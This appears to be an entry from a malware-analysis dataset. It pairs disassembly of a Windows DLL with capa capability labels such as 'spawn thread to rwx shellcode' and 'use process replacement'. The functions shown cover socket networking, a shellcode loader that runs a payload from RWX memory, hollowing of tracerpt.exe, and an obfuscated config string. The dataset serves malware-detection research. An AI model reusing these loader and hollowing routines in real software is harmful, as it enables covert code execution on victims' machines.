joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001320
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x19c
mov eax, dword [0x10020128]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
xor edi, edi
mov dword [esi + 0x10], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov eax, vtable.CBuffer.0
mov dword [esi + 4], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x20], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x24], eax
lea eax, [ebp - 0x198]
push eax
mov dword [esi + 0x30], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
push 0x202
mov dword [esi], vtable.CTcpSocket.0
call dword [sym.imp.WS2_32.dll_WSAStartup]
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push edi
lea ecx, [esi + 0x3c]
push ecx
mov dword [esi + 0x34], eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ecx, dword [ebp - 4]
mov dword [esi + 0x38], edi
xor ecx, ebp
mov dword [esi + 0x54], 0xffffffff
mov eax, esi
pop edi
call fcn.1000a29f
mov esp, ebp
pop ebp
ret
Function at 0x10001410
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x10020128]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
mov eax, dword [esi]
mov edx, dword [eax]
push edi
mov edi, dword [ebp + 8]
call edx
mov eax, dword [esi + 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [esi + 0x3c]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
call dword [sym.imp.WINMM.dll_timeGetTime]
mov dword [esi + 0x38], eax
xor eax, eax
mov dword [esi + 0x44], eax
mov dword [esi + 0x48], eax
mov word [esi + 0x4c], ax
mov ecx, dword [esi + 0x38]
mov edx, dword [esi + 0x3c]
push 6
push 1
push 2
mov dword [esi + 0x44], ecx
mov dword [esi + 0x48], edx
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x54], eax
cmp eax, 0xffffffff
jne 0x1000148c
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000a29f
mov esp, ebp
pop ebp
ret 8
push ebx
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x24], eax
inc eax
push eax
call fcn.1000a7fc
add esp, 4
push 0
mov ebx, eax
mov eax, dword [ebp - 0x24]
push 0
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, dword [ebp - 0x24]
push ebx
mov byte [ebx + ecx], 0
call dword [sym.imp.WS2_32.dll_gethostbyname]
push ebx
mov edi, eax
call fcn.1000a73d
add esp, 4
pop ebx
test edi, edi
je 0x10001478
mov eax, dword [ebp + 0xc]
mov edx, 2
push eax
mov word [ebp - 0x20], dx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1e], ax
mov ecx, dword [edi + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov edx, dword [esi + 0x54]
push 0x10
lea ecx, [ebp - 0x20]
push ecx
push edx
mov dword [ebp - 0x1c], eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x10001478
mov ecx, dword [esi + 0x54]
push 4
lea eax, [ebp - 0x2c]
push eax
push 8
push 0xffff
mov edi, 1
push ecx
mov dword [ebp - 0x2c], edi
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x1000157c
mov ecx, dword [esi + 0x54]
push eax
push eax
lea edx, [ebp - 0x30]
push edx
push eax
push eax
push 0xc
lea eax, [ebp - 0x10]
push eax
push 0x98000004
push ecx
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], 0x2bf20
mov dword [ebp - 8], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push edi
lea eax, [esi + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
lea edx, [ebp - 0x28]
push edx
push 0
push esi
push 0x100015c0
push 0
push 0
mov dword [ebp - 0x28], 0
call fcn.1000a941
mov ecx, dword [ebp - 4]
add esp, 0x18
mov dword [esi + 0x50], eax
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.1000a29f
mov esp, ebp
pop ebp
ret 8
Function at 0x10001750
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov esi, eax
mov dword [ebp - 4], 0
cmp ebx, 0x40000
jl 0x100017ad
jmp 0x10001770
xor edi, edi
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x54]
push 0
push 0x40000
push esi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10001791
inc edi
cmp edi, 0xf
jl 0x10001772
cmp edi, 0xf
je 0x100017de
add dword [ebp - 4], eax
sub ebx, 0x40000
add esi, 0x40000
cmp ebx, 0x40000
jge 0x10001770
test ebx, ebx
jle 0x100017d6
xor edi, edi
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x54]
push 0
push ebx
push esi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x100017ce
inc edi
cmp edi, 0xf
jl 0x100017b3
cmp edi, 0xf
je 0x100017de
add dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
je 0x100017e1
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x10001990
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001ab4e
mov eax, dword fs:[0]
push eax
push ebx
push esi
push edi
mov eax, dword [0x10020128]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [esi + 0x10], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov eax, vtable.CBuffer.0
mov dword [esi + 4], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x20], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x24], eax
mov dword [esi + 0x30], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
lea eax, [esi + 0x50]
mov dword [ebp - 4], edi
mov dword [eax], vtable.CUdpClientListener.0
mov dword [esi], vtable.CUdpSocket.0
mov dword [eax], vtable.CUdpSocket.1.0
push eax
mov dword [esi + 0x54], vtable.CHPObjectPtr_class_DualInterface_class_IArqClient__class_IUdpClient___class_IUdpClientListener__struct_UdpArqClient_Creator_.0
call fcn.10005180
add esp, 4
mov dword [esi + 0x58], eax
push edi
lea eax, [esi + 0x3c]
push eax
mov byte [ebp - 4], 2
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
call dword [sym.imp.WINMM.dll_timeGetTime]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateEventW]
push edi
push edi
push 1
push edi
mov dword [esi + 0x38], eax
call ebx
push edi
push edi
push edi
push edi
mov dword [esi + 0x34], eax
call ebx
mov ecx, dword [esi + 0x58]
mov dword [esi + 0x5c], eax
mov edx, dword [ecx + 4]
mov eax, dword [edx + 0x70]
add ecx, 4
push edi
call eax
mov ecx, dword [esi + 0x58]
mov edx, dword [ecx + 4]
mov eax, dword [edx + 0x74]
add ecx, 4
push edi
call eax
mov ecx, dword [esi + 0x58]
mov edx, dword [ecx]
mov eax, dword [edx]
push 1
call eax
mov ecx, dword [esi + 0x58]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push 1
call eax
mov ecx, dword [esi + 0x58]
mov edx, dword [ecx]
mov eax, dword [edx + 8]
push 0xa
call eax
mov ecx, dword [esi + 0x58]
mov edx, dword [ecx]
mov eax, dword [edx + 0xc]
push 2
call eax
mov dword [esi + 0x38], edi
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10001bc0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 0x34]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
push eax
call edi
mov ecx, dword [esi + 0x5c]
push ecx
call edi
call dword [sym.imp.WINMM.dll_timeGetTime]
push 0
lea ebx, [esi + 0x3c]
push ebx
mov dword [esi + 0x38], eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
xor eax, eax
mov dword [esi + 0x44], eax
mov dword [esi + 0x48], eax
mov word [esi + 0x4c], ax
mov edx, dword [esi + 0x38]
mov eax, dword [esi + 0x3c]
mov ecx, dword [esi + 0x58]
mov dword [esi + 0x48], eax
add ecx, 4
mov dword [esi + 0x44], edx
mov edx, dword [ecx]
mov eax, dword [edx + 0x28]
call eax
cmp eax, 3
je 0x10001c27
mov ecx, dword [esi + 0x58]
mov edx, dword [ecx + 4]
mov eax, dword [edx + 4]
add ecx, 4
call eax
mov ecx, dword [esi + 0x58]
mov eax, dword [ebp + 0xc]
mov edx, dword [ecx + 4]
mov edx, dword [edx]
push 0
push 0
push 1
add ecx, 4
push eax
mov eax, dword [ebp + 8]
push eax
call edx
mov eax, dword [esi + 0x5c]
push 0x1770
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x10001c7f
cmp eax, 0x102
je 0x10001c70
cmp eax, 0xffffffff
jne 0x10001c76
mov ecx, dword [esi + 0x5c]
push ecx
call edi
pop edi
pop esi
xor al, al
pop ebx
pop ebp
ret 8
mov edx, dword [esi + 0x5c]
push edx
call edi
pop edi
pop esi
xor al, al
pop ebx
pop ebp
ret 8
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x5c]
push eax
call edi
lea ecx, [ebp + 0xc]
push ecx
push 0
push esi
push 0x10001cc0
push 0
push 0
call fcn.1000a941
add esp, 0x18
pop edi
mov dword [esi + 0x60], eax
pop esi
mov al, 1
pop ebx
pop ebp
ret 8
Function at 0x10002310
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa44
cmp dword [0x10024fd0], 0
push ebx
mov ebx, ecx
jg 0x100024b6
mov ecx, 1
push esi
cmp dword [ebp + 0xc], ecx
jne 0x10002435
cmp dword [ebx + 0x118], 0
lea eax, [ebx + 0x118]
jne 0x100024b5
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
xor esi, esi
push 0x1e4
lea ecx, [ebp - 0xa26]
xor eax, eax
push esi
push ecx
mov dword [ebp - 0xa44], esi
mov dword [ebp - 0xa40], 0x5f55767b
mov dword [ebp - 0xa3c], 0x57576a21
mov dword [ebp - 0xa38], 0x64002e
mov dword [ebp - 0xa34], 0x6c006c
mov dword [ebp - 0xa30], 0x62005f
mov dword [ebp - 0xa2c], 0x6e0069
mov word [ebp - 0xa28], ax
call fcn.1000b660
push 0x64
lea eax, [ebp - 0x838]
xor edx, edx
push esi
push eax
mov word [ebp - 0x842], dx
mov dword [ebp - 0x840], esi
mov dword [ebp - 0x83c], esi
call fcn.1000b660
push 0x7d0
lea ecx, [ebp - 0x7d4]
push esi
push ecx
call fcn.1000b660
push 0xa45
mov dword [ebp - 4], esi
call fcn.1000aa0b
mov esi, eax
push 0xa44
lea edx, [ebp - 0xa44]
push edx
lea eax, [esi + 1]
push eax
mov byte [esi], 4
call fcn.1000b9f0
mov ebx, dword [ebx + 4]
mov edx, dword [ebx]
mov eax, dword [edx + 8]
add esp, 0x34
push 0xa45
push esi
mov ecx, ebx
call eax
push esi
call fcn.1000a73d
add esp, 4
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov esi, dword [ebp + 8]
mov dword [ebx + 0x11c], ecx
xor ecx, ecx
cmp dword [ebx + 0x120], ecx
push edi
setne cl
push 0x40
inc esi
mov edi, 0x10022c10
push 0x3000
inc ecx
mov dword [0x10024fd0], ecx
mov ecx, 0x291
rep movsd dword es:[edi], dword [esi]
mov edx, dword [0x10022e18]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp + 8]
mov esi, eax
mov eax, dword [0x10022e18]
push eax
add ecx, 0xa45
push ecx
push esi
call fcn.1000b9f0
push 0
push 0
push esi
push 0x10002190
push 0
push 0
call fcn.1000a941
add esp, 0x24
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebx + 4]
mov edx, dword [ebx]
mov eax, dword [edx]
mov ecx, ebx
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x100024c0
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Create process suspended
Get common file path
Get file attributes
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x10020128]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push 0x44
lea ecx, [ebp - 0x418]
push 0
push ecx
mov dword [ebp - 0x3d4], eax
call fcn.1000b660
xor eax, eax
mov dword [esi], eax
push 0x2cc
mov dword [esi + 4], eax
push eax
lea edx, [ebp - 0x3d0]
mov dword [esi + 8], eax
push edx
mov dword [esi + 0xc], eax
call fcn.1000b660
xor eax, eax
push 0xfe
push eax
lea ecx, [ebp - 0x103]
push ecx
mov dword [ebp - 0x418], 0x44
mov dword [ebp - 0x3ec], 1
mov word [ebp - 0x3e8], ax
mov byte [ebp - 0x104], al
call fcn.1000b660
add esp, 0x24
push 0xff
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x104]
push str.WindowsSysWOW64_tracerpt.exe
push eax
push str._s_s
mov edx, eax
mov byte [ebp - 0x101], 0
call fcn.100026e0
add esp, 0xc
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100025a9
push str.WindowsSystem32_tracerpt.exe
lea edx, [ebp - 0x104]
push edx
push str._s_s
mov byte [ebp - 0x101], 0
call fcn.100026e0
add esp, 0xc
push esi
lea eax, [ebp - 0x418]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x100025de
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000a29f
mov esp, ebp
pop ebp
ret
mov edx, dword [esi]
push ebx
push 0x40
push 0x3000
push edi
push 0
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x1000264a
mov eax, dword [ebp - 0x3d4]
mov ecx, dword [esi]
push 0
push edi
push eax
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1000264a
mov eax, dword [esi + 4]
lea edx, [ebp - 0x3d0]
push edx
push eax
mov dword [ebp - 0x3d0], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1000264a
mov edx, dword [esi + 4]
lea ecx, [ebp - 0x3d0]
push ecx
push edx
mov dword [ebp - 0x318], ebx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x1000265b
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000a29f
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.1000a29f
mov esp, ebp
pop ebp
ret
Function at 0x100036a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
dec eax
jne 0x100036fe
cmp dword [0x10024fd4], eax
jne 0x100036fe
push str.1:js1:4t08:4o1.0.0.721:4p0:lk0:hs0:ld0:ll0:hb0:xs0:pj81.3_.4202:zb0.1:bb
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x32
jle 0x100036fe
call fcn.100029a0
cmp dword [0x10024328], 0
je 0x100036fe
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10003140
push 0
push 0
call esi
push 0
push 0
push 0
push 0x10003460
push 0
push 0
mov dword [0x10024fd4], eax
call esi
pop esi
mov eax, 1
pop ebp
ret 0xc

Function at 0x10003710
Capabilities:
Create thread

Disassembly:
cmp dword [0x10024fd4], 0
jne 0x10003768
push esi
call fcn.100029a0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10003140
push 0
push 0
call esi
push 0
push 0
push 0
push 0x10003460
push 0
push 0
mov dword [0x10024fd4], eax
call esi
mov eax, dword [0x10024fd4]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [0x10024fd4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor eax, eax
ret

Function at 0x10003770
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x10024fd4], 0
jne 0x100037e9
push esi
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
push esi
push str.1:js1:4t08:4o1.0.0.721:4p0:lk0:hs0:ld0:ll0:hb0:xs0:pj81.3_.4202:zb0.1:bb
call fcn.1000b9f0
add esp, 0xc
call fcn.100029a0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10003140
push 0
push 0
call esi
push 0
push 0
push 0
push 0x10003460
push 0
push 0
mov dword [0x10024fd4], eax
call esi
mov ecx, dword [0x10024fd4]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [0x10024fd4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebp
ret
Function at 0x10005470
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov dword [ebp - 8], 1
mov dword [ebp - 4], 0
test eax, eax
jne 0x100054c2
mov edi, dword [ebp + 8]
mov ebx, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea eax, [ebp - 8]
push eax
push 0xfffffffffffffffb
push 0xffff
push edi
call ebx
push 4
lea ecx, [ebp - 4]
push ecx
push 4
push 0xffff
push edi
mov esi, eax
call ebx
pop edi
or eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp eax, 1
jne 0x100054fb
mov edi, dword [ebp + 8]
mov ebx, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea edx, [ebp - 4]
push edx
push 0xfffffffffffffffb
push 0xffff
push edi
call ebx
push 4
mov esi, eax
lea eax, [ebp - 4]
push eax
push 4
push 0xffff
push edi
call ebx
pop edi
or eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp eax, 2
jne 0x10005534
mov edi, dword [ebp + 8]
mov ebx, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea ecx, [ebp - 4]
push ecx
push 0xfffffffffffffffb
push 0xffff
push edi
call ebx
push 4
lea edx, [ebp - 8]
push edx
push 4
push 0xffff
push edi
mov esi, eax
call ebx
pop edi
or eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x57
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10005980
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
xor eax, eax
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x24]
mov word [ebp - 0x24], ax
mov eax, dword [ebp + 8]
push edx
push eax
mov dword [ebp - 8], 0x1c
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x100059af
xor eax, eax
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push ecx
push edx
push eax
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x24]
push edx
call fcn.10005860
add esp, 0x14
mov esp, ebp
pop ebp
ret
Function at 0x10005aa0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
mov eax, dword [0x10020128]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
xor eax, eax
push esi
mov esi, dword [ebp + 0x10]
mov dword [esi + 2], eax
mov dword [esi + 6], eax
mov dword [esi + 0xa], eax
mov dword [esi + 0xe], eax
mov dword [esi + 0x12], eax
push edi
mov dword [esi + 0x16], eax
mov dword [ebp - 0xa8], eax
mov word [esi + 0x1a], ax
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x90], eax
movzx eax, word [esi]
push 3
lea edx, [ebp - 0x84]
push ecx
lea ecx, [ebp - 0x88]
mov dword [ebp - 0xac], 0xc00
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x88], edx
call fcn.100059d0
mov edx, dword [ebp - 0x88]
lea eax, [ebp - 0x8c]
push eax
lea ecx, [ebp - 0xac]
push ecx
push 0
push edx
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov edi, eax
mov eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x84]
cmp eax, ecx
je 0x10005b68
push eax
call fcn.1000b1d1
add esp, 4
test edi, edi
je 0x10005b85
push edi
call dword [sym.imp.WS2_32.dll_WSASetLastError]
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000a29f
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [ebp - 0x8c]
xor edi, edi
mov eax, ebx
test ebx, ebx
je 0x10005bc0
mov ecx, dword [eax + 4]
cmp ecx, 2
je 0x10005baa
cmp ecx, 0x17
je 0x10005baa
mov eax, dword [eax + 0x1c]
test eax, eax
jne 0x10005b94
jmp 0x10005bc0
mov edx, dword [eax + 0x10]
mov eax, dword [eax + 0x18]
push edx
push eax
push esi
call fcn.1000b9f0
add esp, 0xc
mov edi, 1
push ebx
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
pop ebx
test edi, edi
je 0x10005bec
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esi + 2], ax
mov eax, edi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000a29f
mov esp, ebp
pop ebp
ret
push 0x2af9
call dword [sym.imp.WS2_32.dll_WSASetLastError]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.1000a29f
mov esp, ebp
pop ebp
ret
Function at 0x10007bc0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x14]
push esi
push edi
mov esi, ecx
test eax, eax
jne 0x10007bec
mov ecx, dword [esi + 0x20]
mov edx, dword [esi + 0x1c]
push 0x23
push ecx
push edx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x10007c09
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, 1
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], 2
mov dword [esi + 0x18], edi
mov dword [esi + 0x14], eax
pop edi
xor eax, eax
pop esi
pop ebp
ret 4
mov edi, 1
mov dword [esi + 0x4c], edi
push 0
mov dword [esi + 0x50], edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [esi]
mov edx, dword [eax + 0x84]
mov ecx, esi
call edx
cmp eax, 2
je 0x10007c65
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x10007c5d
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x10007c5d
test eax, eax
je 0x10007c5d
push 0x80004005
call fcn.10003ed0
mov eax, edi
pop edi
pop esi
pop ebp
ret 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x10007c74
mov eax, 0x4c7
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 5
mov dword [esi + 0x18], 0
mov dword [esi + 0x14], eax
pop edi
xor eax, eax
pop esi
pop ebp
ret 4
Function at 0x10007df0
Capabilities:
Connect socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, ecx
cmp dword [ebp + 0xc], edi
je 0x10007e5e
mov eax, dword [esi + 0x20]
mov ecx, dword [esi + 0x1c]
push 0x30
push eax
push ecx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x10007f2e
mov eax, dword [ebp + 8]
mov edx, dword [esi + 0x1c]
xor ecx, ecx
cmp word [eax], 2
setne cl
dec ecx
and ecx, 0xfffffff4
add ecx, 0x1c
push ecx
push eax
push edx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x10007f29
cmp eax, 0xffffffff
jne 0x10007e54
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x10007f29
xor edi, edi
mov eax, edi
pop edi
pop esi
pop ebp
ret 8
mov eax, dword [ebp + 8]
xor ecx, ecx
cmp word [eax], 2
setne cl
dec ecx
and ecx, 0xfffffff4
add ecx, 0x1c
push ecx
push eax
mov eax, dword [esi + 0x1c]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x10007f2e
mov ecx, dword [esi + 0x20]
mov edx, dword [esi + 0x1c]
push 0x23
push ecx
push edx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x10007f2e
mov dword [esi + 0x4c], 1
push 0
mov dword [esi + 0x50], 1
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [esi]
mov edx, dword [eax + 0x84]
mov ecx, esi
call edx
cmp eax, 2
jne 0x10007ee4
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x10007ed5
mov eax, 0x4c7
push eax
call dword [sym.imp.WS2_32.dll_WSASetLastError]
mov eax, edi
pop edi
pop esi
pop ebp
ret 8
mov eax, dword [esi + 0x1c]
xor edi, edi
push edi
push edi
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x10007f0a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
cmp edi, 0x2733
jne 0x10007f0a
xor edi, edi
mov ecx, dword [esi + 0x24]
push ecx
push str._C_CNNID:__Iu__send_0_bytes__detect_package__n
call fcn.10004010
add esp, 8
test edi, edi
je 0x10007f29
push 0x80004005
call fcn.10003ed0
mov edi, 1
mov eax, edi
pop edi
pop esi
pop ebp
ret 8

Function at 0x10007f40
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 0x190]
mov ecx, dword [esi + 0x38]
mov ebx, 1
add dword [esi + 0x190], ebx
cmp eax, ecx
jb 0x10007f71
xor eax, eax
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], 5
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
pop esi
pop ebx
ret
mov edx, dword [esi + 0x1c]
push edi
xor edi, edi
push edi
push edi
push edi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x10007f98
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
cmp edi, 0x2733
jne 0x10007f98
xor edi, edi
mov eax, dword [esi + 0x24]
push eax
push str._C_CNNID:__Iu__send_0_bytes__detect_package__n
call fcn.10004010
add esp, 8
test edi, edi
je 0x10007fc3
mov dword [esi + 0x14], edi
pop edi
mov dword [esi + 0xc], ebx
mov dword [esi + 0x18], ebx
mov dword [esi + 0x10], 5
pop esi
xor eax, eax
pop ebx
ret
pop edi
pop esi
mov eax, ebx
pop ebx
ret